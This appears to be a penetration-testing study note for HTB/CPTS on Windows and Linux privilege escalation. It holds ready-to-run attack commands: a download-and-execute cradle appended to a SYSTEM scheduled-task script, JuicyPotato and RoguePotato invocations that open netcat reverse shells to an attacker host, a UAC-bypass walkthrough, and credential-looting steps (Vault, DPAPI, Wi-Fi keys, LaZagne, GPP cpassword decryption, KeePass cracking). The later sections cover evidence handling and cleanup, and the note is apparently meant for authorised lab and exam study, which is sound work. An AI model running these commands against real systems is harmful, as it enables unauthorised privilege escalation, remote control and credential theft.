[!warning] Watch out UAC is not a security boundary to Microsoft — bypasses are build-specific flaws, so check
[environment]::OSVersion.Versionand consult the UACMe table for a technique that matches.ConsentPromptBehaviorAdmin=0x5rules out most registry-hijack techniques (they rely on default0x2). RID-500 built-in Administrator always runs high-integrity regardless. CVE-2019-1388 (patched Nov 2019) is the GUI fallback on unpatched boxes: Run as admin a Microsoft-signed binary with a populatedSpcSpAgencyInfocert field (hhupd.exe) → Show publisher cert → click the Issued by hyperlink → a SYSTEM browser opens → Save As → typec:\windows\system32\cmd.exe→ SYSTEM shell.
Scheduled-task script abuse
What to look for: a task set to Run As SYSTEM/a privileged account that invokes a script or binary in a folder my user can write to. Standard users can’t read C:\Windows\System32\Tasks, so lean on writable-folder discovery, not the task list.
schtasks /query /fo LIST /v # run-as acct, schedule, last result
Get-ScheduledTask | select TaskName,State
Import-Module .\PowerUp.ps1; Get-ModifiableScheduledTaskFile # automated find
.\accesschk64.exe /accepteula -s -d C:\Scripts\ # RW BUILTIN\Users on a task's script dir?
# ── append a callback to the writable script → runs as the task's account on next fire ──
Add-Content C:\Scripts\db-backup.ps1 "`nIEX(New-Object Net.WebClient).DownloadString('http://$env:LHOST/r.ps1')"
# then wait for the schedule (hourly/daily), or trigger it if you can: schtasks /run /tn "<TaskName>"
[!tip] This is a plant-and-check-back technique — worth a dedicated writable-folder pass late in a multi-day engagement even when nothing fires immediately. Also cheap adjacent checks:
Get-LocalUser(Description field) andGet-WmiObject Win32_OperatingSystem | select Description(computer description) occasionally leak creds outright — 15 - Scheduled Tasks, Description Fields & Mounting Disks. MITRE T1053.005.
Registry autorun (Win32_StartupCommand)
What to look for: an autorun binary launched at another user’s logon whose file — or the Run key itself — is writable by me. Distinct from the plaintext-AutoLogon reg query in the cred block above; this is the executable being hijackable.
Get-CimInstance Win32_StartupCommand | select Name,command,Location,User | fl
Import-Module .\PowerUp.ps1; Get-ModifiableRegistryAutoRun
:: writable autorun binary → replace it; or writable HKLM\...\Run → point it at my payload
copy /Y C:\Windows\Temp\payload.exe "C:\Path\To\autorun.exe"
[!note] Cross-reference the
Usercolumn against local admins — an autorun that runs as a standard peer is worthless; one that runs at an admin’s logon is the win. HKLMRunentries fire for whoever logs on next.
Saved-cred deep sweep (Vault · DPAPI · PuTTY · KeePass · Sticky Notes · Wi-Fi)
What to look for: everywhere Windows and apps stash reusable secrets beyond the cmdkey/AutoLogon/PS-history basics above. Re-run this after every priv gain — profiles unreadable before become readable. One-pass looters: LaZagne (staged: LaZagne.exe (SHA-256 · GPG signature)) and SessionGopher. Full index: Stage 08 · 10 - Credential Hunting on Windows · 13 - Pillaging Windows Hosts.
:: ── Windows Credential Vault (web + generic creds, separate from cmdkey) ──
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
vaultcmd /listcreds:"Web Credentials" /all
:: ── PuTTY proxy creds sit in cleartext in HKCU ──
reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions\<name> :: ProxyUsername / ProxyPassword
:: ── Wi-Fi PSKs (needs local admin) ──
netsh wlan show profile <ssid> key=clear
# ── DPAPI-protected material — decrypts transparently AS the originating user ──
$c = Import-Clixml C:\scripts\pass.xml; $c.GetNetworkCredential().Password # PS credential object
.\SharpChrome.exe logins /unprotect # browser saved logins
.\SharpDPAPI.exe triage # masterkeys + creds + vaults
gc "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Custom Dictionary.txt" | Select-String pass # typed-in-wrong-field
# ── saved sessions across PuTTY/WinSCP/FileZilla/RDP ──
Import-Module .\SessionGopher.ps1; Invoke-SessionGopher -Thorough
# ── one-pass everything ──
.\LaZagne.exe all
# ── KeePass DB found → crack offline ──
keepass2john help_desk.kdbx > kp.hash
hashcat -m 13400 kp.hash rockyou.txt
# ── Sticky Notes: copy %LOCALAPPDATA%\Packages\Microsoft.MicrosoftStickyNotes_*\LocalState\plum.sqlite* ──
strings plum.sqlite-wal | grep -iE "pass|user" # or: SELECT Text FROM Note (PSSQLite / DB Browser)
[!warning] Watch out DPAPI ties decryption to the originating user + machine —
Import-Clixml, SharpChrome, and vault creds only decrypt when you run as that user (or have their DPAPI masterkey / the domain backup key). Don’t waste time trying to decrypt another user’s blob from your own context.unattend.xml/sysprep.xml(searchC:\Windows\Panther,C:\Windows\System32\Sysprep) hold cleartext-or-Base64 AutoLogon creds and often survive image deployment.
GPP cpassword (SYSVOL) — the domain-wide freebie
What to look for: on a domain-joined host, once you can read SYSVOL (any authenticated user can) — Group Policy Preference XML (Groups.xml, Services.xml, ScheduledTasks.xml, DataSources.xml) with a cpassword attribute. Microsoft published the AES key, so it’s reversible, not cracked.
# ── over SMB from the attack box ──
nxc smb $DC -u "$U" -p "$P" -M gpp_password
# ── or manually: find the XML, decrypt ──
findstr /S /I cpassword \\$DOMAIN\sysvol\$DOMAIN\Policies\*.xml
gpp-decrypt <cpassword_blob>
[!note] This is really an AD-enumeration find but it lands often during a host privesc pass and frequently yields a reused local-admin password. Deep dives: 🟣 Attack · 🔴 Attack. Patched by MS14-025, but legacy
Groups.xmlfiles persist for years.
Potato selection matrix — pick by OS build, not by habit
What to look for: SeImpersonate (or SeAssignPrimaryToken) confirmed. All potatoes are the same SeImpersonate abuse — they differ only in how they coerce a SYSTEM component to authenticate to a listener. Check the build first: [environment]::OSVersion.Version / systeminfo. Deep dive: 🟣 Attack. Quick-reference requirement columns are in the §3 decision table above.
| Variant | Coercion mechanism | Use when | Fails when |
|---|---|---|---|
| JuicyPotato | DCOM/NTLM reflection (needs a working CLSID) | Server ≤2016 / Win10 <1809 | dead on Server 2019+ / Win10 1809+ (DCOM path patched) |
| PrintSpoofer | Print Spooler RPC (spoolss named pipe) | Spooler running (any build incl. 2019/2022) | Spooler disabled (post-PrintNightmare GPO) |
| RoguePotato | OXID resolver relayed via a redirector on 135 | Spooler disabled but you can stand up the OXID redirector | outbound 135 blocked / no redirector |
| GodPotato | DCOM (RPC/DCOM, newer CLSID path) | broadest — Server 2012→2022, Win8→11, no Spooler needed | rare; try first if others fail |
| SweetPotato / DCOMPotato | bundles several of the above | want auto-fallback across methods | — |
:: JuicyPotato also covers SeAssignPrimaryToken via -t (tries CreateProcessWithTokenW AND CreateProcessAsUser):
JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -t *
:: RoguePotato needs the socat/redirector: rogue OXID resolver reachable on 135
RoguePotato.exe -r %LHOST% -e "C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -l 9999
[!warning] Watch out The potato binary itself is quiet; the loud part is the SYSTEM
cmd/powershellspawned fromw3wp.exe/sqlservr.exe(Event 4688) and theSeImpersonate/SeDebuggrant tripping Event 4672. If a variant fails, it’s almost always the coercion vector missing (Spooler off, DCOM patched,135blocked) — not the privilege. GodPotato first, PrintSpoofer if Spooler’s up, RoguePotato when it isn’t, JuicyPotato only on legacy.
🧭 CPTS tips & pitfalls (both platforms)
- Re-enumerate after every privilege gain. New group membership / new shell = new readable files, new
sudo -l, new tokens. Most chains in HTB/CPTS are 2–3 hops (user → svc acct → root/SYSTEM), and each hop unlocks the next clue. - The enum script is a hint engine, not an answer. LinPEAS red/yellow findings are leads; verify by hand before burning an exploit. Conversely, don’t trust a clean auto-enum — it can’t see what perms hide (that’s what pspy and manual
sudo -l/whoami /allcatch). - Match payload architecture:
uname -mbefore pspy32/pspy64; check installed .NET (reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release) before picking GodPotato-NET35 vs -NET4. - Interactive-shell assumptions break in CTF/service contexts: potatoes and
scwork fine fromxp_cmdshell/webshell contexts, but anything needing a window station (UAC GUI tricks, somerunas) needs a real session. - Common time-wasters: chasing an unquoted service path you can’t restart, trying JuicyPotato on Server 2019+, compiling kernel exploits on Kali for a target with a different glibc, trying to decrypt another user’s DPAPI blob, planting a SUID shell on a
nosuidmount. - Document as you go — every changed binpath, added user, dropped DLL, edited unit file is a report artifact and a cleanup item. See Stage 11.
- Cron PATH vs shell PATH: cron jobs run with the
PATH=line inside/etc/crontab(or the daemon default), not your interactive PATH — a writable dir only matters if it’s on that PATH and the job uses a relative binary name (§5/§A). - Capabilities beat file perms for stealth: nothing changes in
ls -l; defenders auditing only SUID bits misssetcapbinaries. Offensively: always rungetcap -r /— defensively: it’s a finding worth reporting. - Potato hygiene: run the potato
-cmdonce with a payload (add-user / nc callback), notwhoami— every execution spawns the loud SYSTEM child process (4688); make the first shot count. - Check
/etc/exportson the target,showmount -efrom outside — NFS exports visible externally aren’t always the ones you’re in scope to mount; andno_root_squashis the only flag that matters for privesc (§C). - Password reuse closes more chains than exploits do. Every cleartext find (history, unattend.xml, web.config,
groups.xml) goes straight into the spray list for Stage 08/Stage 10.
[!example] Worked mini-chain (typical CPTS box) Web shell as
www-data→sudo -lshows(backup) NOPASSWD: /usr/bin/tar→ GTFOBins tar-sudo → shell asbackup→backupis indiskgroup →debugfsreads/root/.ssh/id_rsa→ssh -ias root. Three hops, zero CVEs, all from the decision tables above.
[!success] Stage 9 exit checklist
sudo -l/whoami /priv+/groupsanswered, decision tables walked- Auto-enum (linpeas/winpeas + pspy) results triaged, RED findings verified manually
- Cron/scheduled-task writable-path chains checked end-to-end (
namei/ accesschk on every component)- Capabilities (
getcap -r /) and group memberships (id/whoami /groups) reviewed for the non-obvious ones (disk,adm,Event Log Readers,Hyper-V Administrators)- Every gained privilege re-looted (SSH keys, hives, creds — see Stage 08)
- Kernel exploits only after misconfigs exhausted, with stability risk noted
- Cleanup: revert binpaths/units/SDDLs, remove added users & MSI, delete planted DLLs/SUID shells/
--checkpoint*files, restore ACLs/ownership, removeServerLevelPluginDll- Artifacts + evidence documented for Stage 11
Build a complete escalation hypothesis
Write each candidate as current identity → controllable object/privilege → privileged consumer → reachable trigger → observed higher identity. This prevents a writable directory, interesting privilege or coloured PEAS finding from becoming an unsupported claim of root/SYSTEM.
| Lead | Evidence still needed | Guide to use |
|---|---|---|
| Sudo permits csvtool | Exact run-as/arguments and callback identity | csvtool |
| Disabled SeTcbPrivilege | Present in the actual token, compatible operation and child identity | EnableAllTokenPrivs & TcbElevation |
| PsExec reaches SYSTEM | Existing admin/service-control rights | PsExec |
| Writable Windows service binary | Privileged StartName, executable path and trigger rights | linPEAS & winPEAS |
| Readable local credential | Correct store context, service identity and accepted login | LaZagne |
| Writable NFS export | Server policy, identity mapping and server-side execution | showmount & mount |
| AD object-control edge | Effective ACE, current membership and required directory operation | BloodyAD |
Linux identity proof
id
whoami
cat /proc/self/status
findmnt -T /opt/lab/maintenance.sh
namei -l /opt/lab/maintenance.sh
Inspect real/effective UID and namespace/container context. Root inside a user namespace or container does not automatically mean root on the host. File permission claims must include the full parent path and target mount options.
Windows identity proof
whoami /all
[Environment]::Is64BitProcess
Get-CimInstance Win32_Service -Filter "Name='LabService'" |
Select-Object Name,StartName,State,PathName
sc.exe sdshow LabService
icacls 'C:\Lab\Application\service.exe'
An administrator group membership can coexist with a filtered token. An enabled privilege is different from an elevated integrity level, and SYSTEM is a local identity. Capture the process token that performed the proof, not only the account named in a configuration file.
Prefer a short proof and preserve the original state
| Change | Before-state evidence | Completion check |
|---|---|---|
| Service ImagePath/startup binary | Original configuration, digest and ACLs | Restore and confirm normal startup |
| File/DLL replacement | Original bytes, owner, mode/ACL and path | Restore exact bytes and metadata |
| Sudo/cron/task content | Original text and scheduling identity | Restore and inspect next normal run |
| Added account/group membership | Original membership and unique test name | Remove only introduced values |
| Password reset | Account owner and service dependencies | Coordinate rotation; original password is not recoverable by undoing ACLs |
Use an identity command or a unique local marker that exits after proving execution. If the scenario needs a callback, verify its route separately; a missing callback cannot negate a successful local identity proof.
Separate host escalation from lateral movement
A recovered domain service password may enable another host without elevating the current process. A local root shell can read more local files without granting AD rights. Report each boundary crossed, then re-enumerate only the new context’s relevant permissions.
When a version-based exploit is the only remaining lead, compare the vendor advisory with the actual package/build and backported fixes. A suggested CVE from an enumeration script is a hypothesis until its vulnerable operation is demonstrated.
Finish with an evidence chain
Keep the initial identity, permission/configuration evidence, exact proof action, returned identity and restoration result. Note missing prerequisites and unsuccessful candidates so the next operator can continue without repeating them. Feed confirmed credentials into Stage 08 and validated remote access into Stage 10.
[!navigation] Continue the attack flow Previous: Stage 08 — Password Attacks and Credential Hunting
Dashboard: HTB Pentest Attack Flow